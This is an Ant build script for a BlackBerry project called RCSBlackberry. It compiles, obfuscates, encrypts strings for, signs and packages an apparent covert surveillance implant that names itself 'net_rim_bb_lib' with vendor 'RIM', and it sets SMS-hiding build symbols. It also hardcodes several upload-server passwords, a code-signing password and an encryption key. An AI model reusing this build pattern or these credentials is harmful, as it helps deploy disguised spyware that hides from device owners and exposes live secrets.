<project name="RCSBlackberry" default="help" basedir=".">
	<typedef resource="bb-ant-defs.xml" />
	<!-- <taskdef resource="net/sf/antcontrib/antcontrib.properties" /> -->

	<taskdef resource="net/sf/antcontrib/antlib.xml">
		<classpath>
			<pathelement location="bb-tools/ant-contrib-1.0b3.jar" />
		</classpath>
	</taskdef>

	<!-- Environment properties -->
	<property file="local.properties" />
	<property file="version" />

	<path id="lib.classpath">
		<path location="${net_rim_api.jar}" />
	</path>

	<!-- Internal properties -->
	<property name="wtk.cldc.version" value="1.1" />
	<property name="wtk.midp.version" value="2.0" />
	<!-- property name="obfuscation" value="true" -->
	<property name="resources" location="res" />

	<!-- Application properties -->
	<property name="ht.vendor" value="RIM" />
	<property name="ht.version" value="1.0" />

	<property name="core.codename" value="net_rim_bb_lib" />
	<property name="lib.codename" value="net_rim_bb_lib_base" />
	<property name="group.name" value="Rim Library" />

	<property name="dist.lib" value="release/${lib.codename}.cod" />
	<property name="dist.core" value="release/${core.codename}.cod" />
	<property name="nodemo.core" value="nodemo/${core.codename}.cod" />
	<property name="debug.core" value="debug/${core.codename}.cod" />

	<property name="wanted.versions" value="5.0" /> 
	<property name="historic.versions" value="4.5" /> 
	<!-- <property name="wanted.versions" value="5.0" /> -->

	<!-- Symbols 
	DEBUG: versione con i log di debug su file
	RELEASE: versione strippata e offuscata
	DBC: verifiche Design by contract
	FAKECONF: configurazione presa da codice
	DEMO: versione demo, a meno di binary patch
	NODEMO: inibisce la demo.	
	-->
	<property name="preprocess.debug.symbols" value="DEBUG,DBC" />
	<property name="preprocess.test.symbols" value="TEST" />
	<property name="preprocess.release.symbols" value="RELEASE" />
	<property name="preprocess.nodemo.symbols" value="RELEASE,NODEMO" />
	<property name="preprocess.fakeconf.symbols" value="DEBUG,DBC,DEMO,FAKECONF" />

	<property name="preprocess.4.5.symbols" value="NO_SMS_HIDE,NO_MMS" />
	<property name="preprocess.4.6.symbols" value="NO_SMS_HIDE,NO_MMS" />
	<property name="preprocess.4.6.1.symbols" value="NO_SMS_HIDE,NO_MMS" />
	<property name="preprocess.4.7.symbols" value="SMS_HIDE,MMS" />
	<property name="preprocess.5.0.symbols" value="SMS_HIDE,MMS,OS_AT_LEAST_5" />
	<property name="preprocess.6.0.symbols" value="SMS_HIDE,MMS,OS_AT_LEAST_5" />
	<property name="preprocess.7.0.symbols" value="SMS_HIDE,MMS,OS_AT_LEAST_5" />
	<property name="preprocess.7.1.symbols" value="SMS_HIDE,MMS,OS_AT_LEAST_5" />

	<property name="javaloader" value="${jde.javaloader}" />

	<!-- Sources -->
	<property name="lib.src" location="RCSBlackBerryResources/src" />
	<property name="core.src" location="RCSBlackBerry/src" />

	<echo>antenna: ${antenna.jar}</echo>
	<!-- WTK Task definition -->
	<taskdef name="wtkpreprocess" classname="de.pleumann.antenna.WtkPreprocess" classpath="${antenna.jar}" />
	<taskdef name="wtkbuild" classname="de.pleumann.antenna.WtkBuild" classpath="${antenna.jar}" />
	<taskdef name="wtkpreverify" classname="de.pleumann.antenna.WtkPreverify" classpath="${antenna.jar}" />
	<taskdef name="wtkpackage" classname="de.pleumann.antenna.WtkPackage" classpath="${antenna.jar}" />
	<taskdef name="wtkrapc" classname="de.pleumann.antenna.WtkRapc" classpath="${antenna.jar}" />
	<taskdef name="wtkobfuscate" classname="de.pleumann.antenna.WtkObfuscate" classpath="${antenna.jar}" />
	<taskdef name="wtkjad" classname="de.pleumann.antenna.WtkJad" classpath="${antenna.jar}" />

	<taskdef name="crypter" classname="com.example.ant.Crypter">
		<classpath>
			<pathelement path="crypter/build/archive/crypter-ant.jar" />
		</classpath>
	</taskdef>

	<taskdef name="random" classname="com.example.ant.RandomString">
		<classpath>
			<pathelement path="crypter/build/archive/crypter-ant.jar" />
			<fileset dir="crypter/lib">
				<include name="**/*.jar" />
				<include name="**/*.zip" />
			</fileset>
		</classpath>
	</taskdef>

	<target name="salt">
		<random len="8" property="randomSalt">
		</random>
		<echo>Random:${randomSalt}</echo>
	</target>

	<target name="encrypt-messages" depends="salt">
		<delete file="RCSBlackberry/src/messages.bin" />
		<crypter encrypt="true" salt="${randomSalt}" keyFile="0x5333494a32158f52" inputFile="RCSBlackberry/preprocess/messages.properties.all" outputFile="RCSBlackberry/src/messages.bin" />
	</target>


	<target name="Display-Builtins" description="Display Builtin Properties">
		<!-- the absolute path to the location of the buildfile -->
		<echo>${basedir}</echo>
		<!-- the absolute path of the buildfile -->
		<echo>${ant.file}</echo>
		<!-- ant.version - the version of Ant that you are running -->
		<echo>${ant.version}</echo>
		<!-- ant.project.name - the name of the project that is currently executing; it is set in the name attribute of <project>. -->
		<echo>${ant.project.name}</echo>
		<!-- ant.java.version - the JVM version Ant detected; currently it can hold the values "1.1", "1.2", "1.3", "1.4" and "1.5". -->
		<echo>${ant.java.version}</echo>
		<echo>${dist.version}</echo>
		<echo>${dist.release}</echo>
	</target>


	<macrodef name="fakeconf">
		<attribute name="preprocess.symbols" />
		<attribute name="dir.to" />
		<sequential>
			<if>
				<contains string="@{preprocess.symbols}" substring="FAKECONF" />
				<then>
					<echo message="copy config.json to: @{dir.to}/config.json" />
					<copy file="RCSBlackberry/preprocess/config.json" tofile="@{dir.to}/config.json" />
				</then>
				<else>
					<echo message="do not copy config.json" />
				</else>
			</if>
		</sequential>
	</macrodef>

	<macrodef name="preprocess">
		<attribute name="dir.src" />
		<attribute name="dir.to" />
		<attribute name="preprocess.symbols" default="NO_SYMBOLS" />
		<attribute name="exclude" default="**/tests/" />
		<attribute name="version" />
		<sequential>
			<echo message="=== Preprocess @{dir.src} => @{dir.to} ===" />
			<mkdir dir="@{dir.to}" />
			<copy todir="@{dir.to}">
				<fileset dir="@{dir.src}">
					<include name="**/*.java" />
					<include name="**/messages.bin" />
					<include name="**/config.bin" />
					<exclude name="@{exclude}" />
				</fileset>
			</copy>

			<fakeconf dir.to="@{dir.to}" preprocess.symbols="@{preprocess.symbols}" />

			<replace dir="@{dir.to}" token="//#preprocess" value="//!preprocess" />
			<echo message="--- Symbols @{preprocess.symbols},BlackBerrySDK@{version}.0 ---" />
			<wtkpreprocess verbose="false" srcdir="@{dir.to}" destdir="@{dir.to}" symbols="@{preprocess.symbols},BlackBerrySDK@{version}.0" />
		</sequential>
	</macrodef>

	<macrodef name="libbuild">
		<attribute name="preprocess.symbols" />
		<attribute name="version" />
		<sequential>
			<echo message="=============" />
			<echo message="===  LIB  ===" />
			<echo message="=============" />
			<echo>jde.home=${jde.home} wtk.home=${wtk.home}</echo>
			<local name="builddir" />
			<property name="builddir" location="build/lib/@{version}" />
			<mkdir dir="${builddir}/unverified" />
			<mkdir dir="${builddir}/preprocessed" />

			<!-- Create a JAD file. -->
			<wtkjad jadfile="${builddir}/lib.jad" jarfile="${builddir}/lib.jar" name="${lib.codename}" vendor="${ht.vendor}" version="${ht.version}">
				<attribute name="MicroEdition-Configuration" value="CLDC-${wtk.cldc.version}" />
				<attribute name="MicroEdition-Profile" value="MIDP-${wtk.midp.version}" />
				<attribute name="RIM-Library-Flags" value="2" />
			</wtkjad>

			<!-- Create a RAPC file. -->
			<manifest file="${builddir}/lib.rapc">
				<attribute name="MIDlet-Name" value="${core.codename}" />
				<attribute name="MIDlet-Version" value="${ht.version}" />
				<attribute name="MIDlet-Vendor" value="${ht.vendor}" />
				<attribute name="MIDlet-Jar-URL" value="lib.jar" />
				<attribute name="MIDlet-Jar-Size" value="0" />
				<attribute name="MicroEdition-Profile" value="MIDP-${wtk.midp.version}" />
				<attribute name="MicroEdition-Configuration" value="CLDC-${wtk.cldc.version}" />
				<attribute name="RIM-Library-Flags" value="2" />
			</manifest>

			<!-- Preprocess. -->
			<preprocess dir.src="${lib.src}" dir.to="${builddir}/preprocessed" version="@{version}" />

			<!-- Compile everything, but don't preverify (yet). -->
			<wtkbuild srcdir="${builddir}/preprocessed" destdir="${builddir}/unverified" preverify="false" />

			<!-- Package our newly compiled classes. -->
			<wtkpackage jarfile="${builddir}/lib.jar" jadfile="${builddir}/lib.jad">
				<fileset dir="${builddir}/unverified" />
				<fileset dir="${builddir}/preprocessed" includes="**/*.bin" />
			</wtkpackage>

			<!-- Preverify -->
			<wtkpreverify jarfile="${builddir}/lib.jar" jadfile="${builddir}/lib.jad">
				<classpath refid="lib.classpath" />
			</wtkpreverify>

			<!-- Rapc -->
			<mkdir dir="output/@{version}" />
			<wtkrapc jadfile="${builddir}/lib.jad" source="${builddir}/lib.jar" codename="${lib.codename}" import="${net_rim_api.jar}" destdir="output/@{version}" midlet="false" library="true" />

			<!--
			rapc.exe -nomain library=deliverables\Standard\4.5.0\net_rim_bb_lib_base 
			deliverables\Standard\4.5.0\net_rim_bb_lib_base.rapc 
			-sourceroot=C:\HT\RCSBlackBerry\Workspace\RCSBlackBerryResources\src;C:\HT\RCSBlackBerry\Workspace\RCSBlackBerryResources\res 
			-import=C:\Developer\eclipse_bb\plugins\net.rim.ejde.componentpack4.5.0_4.5.0.28\components\lib\net_rim_api.jar 
			C:\HT\RCSBlackBerry\Workspace\RCSBlackBerryResources\bin

	         <exec dir="${builddir}" executable="${bb.buildjars.home}/rapc.exe" failonerror="true">
	                <arg value="-nomain" />
	                <arg value="import=${net_rim_api.jar}" />
	                <arg value="codename=${lib.codename}" />
	                <arg file="${builddir}/lib.rapc" />
	                <arg file="${builddir}/lib.jar" />
	            </exec>
			-->

			<copy file="${builddir}/lib.jar" tofile="output/@{version}/${lib.codename}.jar" />
			<move todir="${builddir}">
				<fileset dir=".">
					<include name="${lib.codename}*" />
				</fileset>
			</move>

		</sequential>
	</macrodef>

	<macrodef name="corebuild">
		<attribute name="preprocess.symbols" />
		<attribute name="kind" />
		<attribute name="osversion" />

		<sequential>
			<echo message="=============" />
			<echo message="===  CORE ===" />
			<echo message="=============" />

			<local name="builddir" />
			<property name="builddir" location="build/core/@{osversion}/@{kind}" />

			<mkdir dir="${builddir}/unverified" />
			<mkdir dir="${builddir}/preprocessed" />

			<!-- Create a JAD file. -->
			<wtkjad jadfile="${builddir}/core.jad" jarfile="${builddir}/core.jar" name="${core.codename}" vendor="${ht.vendor}" version="${ht.version}">
				<attribute name="MicroEdition-Configuration" value="CLDC-${wtk.cldc.version}" />
				<attribute name="MicroEdition-Profile" value="MIDP-${wtk.midp.version}" />
				<attribute name="RIM-MIDlet-Flags-1" value="3" />
				<attribute name="RIM-COD-Module-Name" value="${core.codename}" />
				<attribute name="MIDlet-Name" value="${core.codename}" />
			</wtkjad>

			<!-- Create a RAPC file. -->
			<manifest file="${builddir}/core.rapc">
				<attribute name="MIDlet-Name" value="${core.codename}" />
				<attribute name="MIDlet-Version" value="${ht.version}" />
				<attribute name="MIDlet-Vendor" value="${ht.vendor}" />
				<attribute name="MIDlet-Jar-URL" value="core.jar" />
				<attribute name="MIDlet-Jar-Size" value="0" />
				<attribute name="MicroEdition-Profile" value="MIDP-${wtk.midp.version}" />
				<attribute name="MicroEdition-Configuration" value="CLDC-${wtk.cldc.version}" />
				<attribute name="MIDlet-1" value="${core.codename},res/Blackberry_icon_sml.png," />
				<attribute name="RIM-MIDlet-Flags-1" value="3" />
			</manifest>

			<!-- Preprocess. -->
			<if>
				<equals arg1="@{kind}" arg2="test" />
				<then>
					<echo message="Test preprocess" />
					<preprocess version="@{osversion}" dir.src="${core.src}" dir.to="${builddir}/preprocessed" preprocess.symbols="@{preprocess.symbols}" exclude="" />
				</then>
				<else>
					<echo message="Normal preprocess" />
					<preprocess version="@{osversion}" dir.src="${core.src}" dir.to="${builddir}/preprocessed" preprocess.symbols="@{preprocess.symbols}" />
				</else>
			</if>

			<!-- Compile everything, but don't preverify (yet). -->
			<echo>lib: "output/@{osversion}/${lib.codename}.jar" </echo>
			<wtkbuild srcdir="${builddir}/preprocessed" destdir="${builddir}/unverified" preverify="true" bootclasspath="${net_rim_api.jar}">
				<classpath>
					<path id="core.classpath">
						<path location="${net_rim_api.jar}" />
						<path location="output/@{osversion}/${lib.codename}.jar" />
					</path>
				</classpath>
			</wtkbuild>

			<!-- Package our newly compiled classes. -->
			<wtkpackage jarfile="${builddir}/core.jar" jadfile="${builddir}/core.jad">
				<fileset dir="${builddir}/unverified" />
				<fileset dir="${core.src}/../res" includes="**/*.png" />
				<fileset dir="${builddir}/preprocessed" includes="messages.bin" />
				<fileset dir="${builddir}/preprocessed" includes="config.json" />
			</wtkpackage>

			<!-- Obfuscate -dontshrink -->
			<echo>wtk.proguard.home=${wtk.proguard.home}</echo>
			<wtkobfuscate jarfile="${builddir}/core.jar" jadfile="${builddir}/core.jad">
				<classpath refid="core.classpath" />
				<argument value="'-keep public class blackberry.Main { public *; }'" />
				<argument value="'-keep public class ** extends javax.microedition.midlet.MIDlet { public *; }'" />
				<argument value="-repackageclasses '' -allowaccessmodification -microedition -dontusemixedcaseclassnames" />
				<argument value="-printusage" />
			</wtkobfuscate>

			<!-- Preverify -->
			<wtkpreverify jarfile="${builddir}/core.jar" jadfile="${builddir}/core.jad">
				<classpath refid="core.classpath" />
			</wtkpreverify>

			<!-- Rapc 
			<wtkrapc jadfile="${builddir}/core.jad" source="${builddir}/core.jar" codename="${core.codename}" import="${net_rim_api.jar};output/@{version}/lib.jar" destdir="${builddir}" quiet="true" midlet="false" library="false" />
			rapc.exe -cr codename=deliverables\Standard\4.5.0\net_rim_bb_lib 
			deliverables\Standard\4.5.0\net_rim_bb_lib.rapc 
			-sourceroot=C:\HT\RCSBlackBerry\Workspace\RCSBlackBerry\src;C:\HT\RCSBlackBerry\Workspace\RCSBlackBerry\src\blackberry 
			-import=C:\Developer\eclipse_bb\plugins\net.rim.ejde.componentpack4.5.0_4.5.0.28\components\lib\net_rim_api.jar;C:\HT\RCSBlackBerry\Workspace\RCSBlackBerryResources\deliverables\Standard\4.5.0\net_rim_bb_lib_base.jar 
			C:\HT\RCSBlackBerry\Workspace\RCSBlackBerry\bin
					
			-->

			<exec dir="${builddir}" executable="${bb.buildjars.home}/rapc.exe" failonerror="true">
				<arg value="-quiet" />
				<arg value="-import=${net_rim_api.jar};${builddir}/../../../../output/@{osversion}/${lib.codename}.jar" />
				<arg value="codename=${core.codename}" />
				<arg file="${builddir}/core.rapc" />
				<arg file="${builddir}/core.jar" />
			</exec>

			<copy file="preprocess/signature.csl" tofile="${builddir}/${core.codename}.csl" />
			<copy file="preprocess/signature.cso" tofile="${builddir}/${core.codename}.cso" />
			<move todir="${builddir}">
				<fileset dir=".">
					<include name="${core.codename}*" />
				</fileset>
			</move>

			<!-- Sign -->
			<sign dir="${builddir}" cod="${core.codename}.cod" />

			<!-- Dist -->
			<mkdir dir="output/@{osversion}/@{kind}" />
			<copy file="${builddir}/${core.codename}.cod" todir="output/@{osversion}/@{kind}" />
			<copy file="output/@{osversion}/${lib.codename}.cod" todir="output/@{osversion}/@{kind}" />
		</sequential>
	</macrodef>

	<!-- Sign the COD  -->
	<macrodef name="sign">
		<attribute name="cod" />
		<attribute name="dir" />
		<sequential>
			<echo message="=== Sign @{dir}/@{cod} ===" />
			<!--<sigtool jdehome="${jde.home}" codfile="output/tocod/${codename}.cod" /> -->
			<java jar="${blackberry.certificate.dir}/SignatureTool.jar" fork="true" dir="@{dir}" failonerror="true">
				<arg line=" -a -p KUZ93HQ1 -c -s @{cod}" />
			</java>
		</sequential>
	</macrodef>
	
	<macrodef name="set-cfg">
		<attribute name="osversion" />
		<sequential>
			<echo message="=== Set-cfg @{osversion} ===" />
			<copy file="RCSBlackberry/preprocess/Cfg.java" toFile="RCSBlackberry/src/blackberry/config/Cfg.java" overwrite="true">
			<filterset>
				<filter token="BUILD_ID" value="${build.number}" />
				<filter token="BUILD_TIMESTAMP" value="${timestamp.BUILD}" />
				<filter token="GROUP_NAME" value="${group.name}" />
				<filter token="MODULE_NAME" value="${core.codename}" />
				<filter token="MODULE_LIB_NAME" value="${lib.codename}" />
				<filter token="RANDOM" value="${randomSalt}" />
				<filter token="VERSION" value="${dist.version}" />
				<filter token="RELEASE" value="${dist.release}" />
				<filter token="OSVERSION" value="@{osversion}" />
			</filterset>
		</copy>
		</sequential>
	</macrodef>

	<target name="init" depends="encrypt-messages">
		<echo message="=== Init ===" />
		
		<antcall target="Display-Builtins"/>

		<echo message="=== Version ${dist.release} ${dist.version} ===" />
		<tstamp>
			<format property="timestamp.BUILD" pattern="yyyyMMdd-hhmmss" />
		</tstamp>
		<buildnumber />

		<mkdir dir="build" />
		<mkdir dir="build/core" />
		<mkdir dir="build/lib" />
		<mkdir dir="output" />
	</target>

	<target name="clean">
		<echo message="=== Clean ===" />
		<delete dir="build" includeEmptyDirs="true" />
		<delete dir="output" includeEmptyDirs="true" />
		<delete dir="server/core" includeEmptyDirs="true" />
		<delete file="${core.src}/config.json" failonerror="false" />
	</target>

	<!-- list="45,50" -->
	<target name="build" depends="clean,init">

		<for list="${wanted.versions}" param="osversion">
			<sequential>
				<echo message="==============" />
				<echo message="===  BUILD === ------------------------------------------------------------" />
				<echo message="==============" />
				<echo>Version @{osversion}</echo>
				
				<set-cfg osversion="@{osversion}"/>
				
				<local name="jde.local.home" />
				<propertycopy name="jde.local.home" from="jde.@{osversion}.home" />
				<var name="jde.home" value="${jde.local.home}" />
				<var name="net_rim_api.jar" value="${jde.home}/lib/net_rim_api.jar" />
				<var name="bb.buildjars.home" value="${jde.home}/bin" />

				<local name="preprocess.version.symbols" />
				<propertycopy name="preprocess.version.symbols" from="preprocess.@{osversion}.symbols" />

				<echo>jde.home=${jde.home}</echo>

				<libbuild version="@{osversion}" preprocess.symbols="${preprocess.release.symbols},${preprocess.version.symbols}" />

				<echo message="_____________" />
				<echo message="     DEBUG   " />
				<corebuild kind="debug" osversion="@{osversion}" preprocess.symbols="${preprocess.debug.symbols},${preprocess.version.symbols}" />

				<echo message="_____________" />
				<echo message="    RELEASE  " />
				<corebuild kind="release" osversion="@{osversion}" preprocess.symbols="${preprocess.release.symbols},${preprocess.version.symbols}" />

				<!--
				<echo message="_____________" />
				<echo message="    NODEMO  " />
				<corebuild kind="nodemo" version="@{version}" preprocess.symbols="${preprocess.nodemo.symbols},${preprocess.version.symbols}" />
				
				<echo message="_____________" />
				<echo message="   FAKECONF    " />
				<corebuild kind="fakeconf" version="@{version}" preprocess.symbols="${preprocess.fakeconf.symbols},${preprocess.version.symbols}" />
				
				<echo message="_____________" />
				<echo message="     TEST    " />
				<corebuild kind="test" version="@{version}" preprocess.symbols="${preprocess.test.symbols},${preprocess.version.symbols}" />			
				-->
			</sequential>
		</for>
	</target>

	<!-- Load to device depends="sign" -->
	<target name="load">
		<echo message="=== Load ===" />
		<echo>${javaloader} ${lib.codename}.cod ${core.codename}.cod</echo>
		<exec executable="${javaloader}" dir="." failonerror="true">
			<arg value="-wrddr" />
			<arg value="-u" />
			<arg value="load" />
			<arg value="output/5.0/debug/${lib.codename}.cod" />
			<arg value="output/5.0/debug/${core.codename}.cod" />
		</exec>
	</target>

	<!-- Load to device depends="sign" -->
	<target name="loadcoredebug">
		<echo message="=== Load ===" />
		<echo>${javaloader} ${core.codename}.cod</echo>
		<exec executable="${javaloader}" dir="." failonerror="true">
			<arg value="-wrddr" />
			<arg value="-u" />
			<arg value="load" />
			<arg value="output/5.0/debug/${core.codename}.cod" />
		</exec>
	</target>

	<target name="loadcorerelease">
		<echo message="=== Load ===" />
		<echo>${javaloader} ${core.codename}.cod</echo>
		<exec executable="${javaloader}" dir="." failonerror="true">
			<arg value="-wrddr" />
			<arg value="-u" />
			<arg value="load" />
			<arg value="output/5.0/release/${core.codename}.cod" />
		</exec>
	</target>

	<target name="loadcore" depends="loadcorerelease" />

	<!-- Load to device depends="sign" -->
	<target name="uninstall">
		<echo message="=== Uninstall ===" />
		<echo>${javaloader}</echo>
		<exec executable="${javaloader}" dir="." failonerror="true">
			<arg value="-u" />
			<arg value="erase" />
			<arg value="-f" />
			<arg value="${core.codename}.cod" />
		</exec>
	</target>

	<!-- C:\Ruby193\bin\ruby c:\HT\rcs-core-build\rcs-core.rb -u zeno -p zenop123 -d rcs-castore -n blackberry -f RCS_0000000746 $args -->
	<macrodef name="updaterelease">
		<attribute name="server" />
		<attribute name="login" />
		<attribute name="password" />
		<attribute name="file" />
		<sequential>
			<echo>@{server}</echo>

			<exec executable="${ruby.path}" dir="." failonerror="true">
				<arg value="${rcscore.path}/rcs-core.rb" />
				<arg value="-u" />
				<arg value="@{login}" />
				<arg value="-p" />
				<arg value="@{password}" />
				<arg value="-d" />
				<arg value="@{server}" />
				<arg value="-n" />
				<arg value="blackberry" />
				<arg value="-R" />
				<arg value="@{file}" />
			</exec>

		</sequential>
	</macrodef>

  <target name="copyHistoric">
      <copy file="output/45/${dist.lib}" toDir="historicOutput/4.5/release" overwrite="true" />
      <copy file="output/45/${dist.core}" toDir="historicOutput/4.5/release" overwrite="true" />
  </target>
	<target name="update">
		<updaterelease server="rcs-castore" login="zenobatch" password="zenop123" file="./server/blackberry_${dist.version}.zip" />
		<copy file="./server/blackberry_${dist.version}.zip" toFile="/Volumes/SHARE/RELEASE/SVILUPPO/cores daVinci/blackberry.zip" overwrite="true" />
	</target>
	
	<target name="update-castore">
		<updaterelease server="rcs-castore" login="zenobatch" password="castoreP123" file="./server/blackberry_${dist.version}.zip" />
	</target>
	
	<target name="update-zeus">
		<updaterelease server="rcs-zeus" login="zeno" password="Fabriziop123" file="./server/blackberry_${dist.version}.zip" />
	</target>
	
	<target name="update-zenotto">
		<updaterelease server="zenotto" login="zeno" password="zenop123" file="./server/blackberry_${dist.version}.zip" />
	</target>

	<target name="addconf">
		<fakeconf dir.to="${core.src}" preprocess.symbols="FAKECONF" />
		<copy file="RCSBlackberry/preprocess/messages.properties.all"  toFile="RCSBlackberry/src/messages.bin" overwrite="true"/>
	</target>

	<property name="blackberry.simulator.path" location="${jde.45.home}\simulator" />
	<property name="simulator.model" value="8300" />

	<target name="servercore">
		<mkdir dir="server/core" />
		
		<copy toDir="server/core" overwrite="true">
			<fileset dir="server/template" excludes="**/res" />
			<filterset>
				<filter token="VERSION" value="${dist.version}" />
			</filterset>
		</copy>
		<copy toDir="server/core/res" overwrite="true">
			<fileset dir="server/template/res" />
		</copy>

		<for list="${historic.versions}" param="version">
			<sequential>
				<copy file="historicOutput/@{version}/${dist.lib}" toDir="server/core/res/" overwrite="true" />
				<unzip src="historicOutput/@{version}/${dist.core}" dest="server/core/res/v_@{version}" overwrite="true" />
			</sequential>
		</for>
		
		<for list="${wanted.versions}" param="version">
			<sequential>
				<copy file="output/@{version}/${dist.lib}" toDir="server/core/res/" overwrite="true" />
				<unzip src="output/@{version}/${dist.core}" dest="server/core/res/v_@{version}" overwrite="true" />
			</sequential>
		</for>
		
		<zip destfile="server/blackberry_${dist.version}.zip" basedir="server/core" />
	</target>

	<macrodef name="zipdist">
		<attribute name="destfile" />
		<sequential>
			<zip destfile="@{destfile}">
				<zipfileset dir="RCSBlackberry" prefix="RCSBlackberry" />
				<zipfileset dir="RCSBlackberryResources" prefix="RCSBlackberryResources" />
				<zipfileset dir="." includes="server" />
				<fileset dir="." includes="local.properties" />
				<fileset dir="." includes="build.xml" />
			</zip>
		</sequential>
	</macrodef>

	<macrodef name="rcscomp">
		<attribute name="destdir" />
		<attribute name="version"/>
		<sequential>
			<mkdir dir="@{destdir}/rcs7" />

			<copy file="output/@{version}/${dist.lib}" tofile="@{destdir}/lib.blackberry" overwrite="true" />

			<mkdir dir="@{destdir}/build" />
			<unzip src="output/@{version}/${dist.core}" dest="@{destdir}/build" overwrite="true" />
			<move file="@{destdir}/build/net_rim_bb_lib.cod" tofile="@{destdir}/build/net_rim_bb_core-0.cod" overwrite="true" />
			<move file="@{destdir}/build/net_rim_bb_lib-1.cod" tofile="@{destdir}/build/net_rim_bb_core-1.cod" overwrite="true" />
			<zip destfile="@{destdir}/core.demo.blackberry" basedir="@{destdir}/build/" compress="false" />

			<mkdir dir="@{destdir}/buildnodemo" />
			<unzip src="output/@{version}/${nodemo.core}" dest="@{destdir}/buildnodemo" overwrite="true" />
			<move file="@{destdir}/buildnodemo/net_rim_bb_lib.cod" tofile="@{destdir}/buildnodemo/net_rim_bb_core-0.cod" overwrite="true" />
			<move file="@{destdir}/buildnodemo/net_rim_bb_lib-1.cod" tofile="@{destdir}/buildnodemo/net_rim_bb_core-1.cod" overwrite="true" />
			<zip destfile="@{destdir}/core.nodemo.blackberry" basedir="@{destdir}/buildnodemo/" compress="false" />
		</sequential>
	</macrodef>

	<target name="zip">
		<zipdist destfile="../Dist/test.zip" />
	</target>

	<target name="dist">

		<tstamp>
			<format property="timestamp.BUILD" pattern="yyyyMMdd-hhmmss" />
		</tstamp>
		<property file="build.number" />

		<var name="destdir" value="../dist/${dist.release}/${build.number}.${timestamp.BUILD}" />
	

		<!-- <rcscomp destdir="${destdir}/rcs7" version="4.5"/> -->

		<for list="${wanted.versions}" param="version">
			<sequential>
				<mkdir dir="${destdir}/@{version}" />
				<copy file="output/@{version}/${dist.lib}" toDir="${destdir}/@{version}" overwrite="true" />
				<copy file="output/@{version}/${dist.core}" toDir="${destdir}/@{version}" overwrite="true" />
				<copy file="output/@{version}/${debug.core}" toFile="${destdir}/@{version}/core.debug.cod" overwrite="true" />
			</sequential>
		</for>
    
		<for list="${historic.versions}" param="version">
			<sequential>
				<mkdir dir="${destdir}/@{version}" />
				<copy file="historicOutput/@{version}/${dist.lib}" toDir="${destdir}/@{version}" overwrite="true" />
				<copy file="historicOutput/@{version}/${dist.core}" toDir="${destdir}/@{version}" overwrite="true" />
				<copy file="historicOutput/@{version}/${debug.core}" toFile="${destdir}/@{version}/core.debug.cod" overwrite="true" />
			</sequential>
		</for>

		<antcall target="servercore" />
		
		<copy file="server/blackberry_${dist.version}.zip" toDir="${destdir}" overwrite="true" />
		<copy file="server/blackberry_${dist.version}.zip" toFile="server/blackberry.zip" overwrite="true" />

		<zipdist destfile="${destdir}/blackberry_sources.zip" />

		<checksum>
			<fileset dir="${destdir}/">
				<include name="*" />
			</fileset>
		</checksum>

		<!-- <antcall target="update" /> -->
		
		<echo>${destdir}</echo>

	</target>
	
	<target name="all" depends="build,dist" />


	<!-- To run the application in simulator
	PS C:\Users\fabrizio\blackberry\Workspace> C:\Developer\eclipse_bb\plugins\net.rim.ejde.componentpack4.5.0_4.5.0.28\components\simulator\
	fledgecontroller.exe /session=8300
	Pause(5)
    RemoteCallCreation("555-1234")
    Pause(2)
    ThumbwheelPress
    ThumbwheelRelease
    Pause(10)
    KeyPress(ESCAPE)
    Pause(2)
    KeyRelease(ESCAPE)
    Exit

    http://docs.blackberry.com/en/developers/deliverables/606/BlackBerry_Device_Simulator_User_Guide.pdf
	-->
	<target name="simulator" description="Run in ${simulator.model} Simulator">
		<exec dir="${blackberry.simulator.path}" executable="${blackberry.simulator.path}/fledge.exe" spawn="true">
			<arg line=" /app=Jvm.dll " />
			<arg line=" /handheld=${simulator.model} " />
			<arg line=" /session=${simulator.model} " />
			<arg line=" /app-param=DisableRegistration " />
			<arg line=" /app-param=JvmAlxConfigFile:${simulator.model}.xml " />
			<arg line=" /data-port=0x4d44 " />
			<arg line=" /data-port=0x4d4e " />
			<arg line=" /pin=0x2100000A " />
		</exec>
	</target>

	<target name="help">
		<echo>ant build :  full build and sig</echo>
		<echo>ant simulator :  starts the simulator</echo>
		<echo>ant update : uploads both the core and the lib to castore</echo>
		<echo>ant loadcoredebug : uploads the core debug 45 on device</echo>
		<echo>ant loadcorerelease : uploads the core release 45 on device</echo>
		<echo>ant init : updates messages.all, cfg.java</echo>
		<echo>ant addconf : copy config.json in src/config.json</echo>
		<echo>ant dist : create a dist zip file and updates server/core</echo>
	</target>
</project>
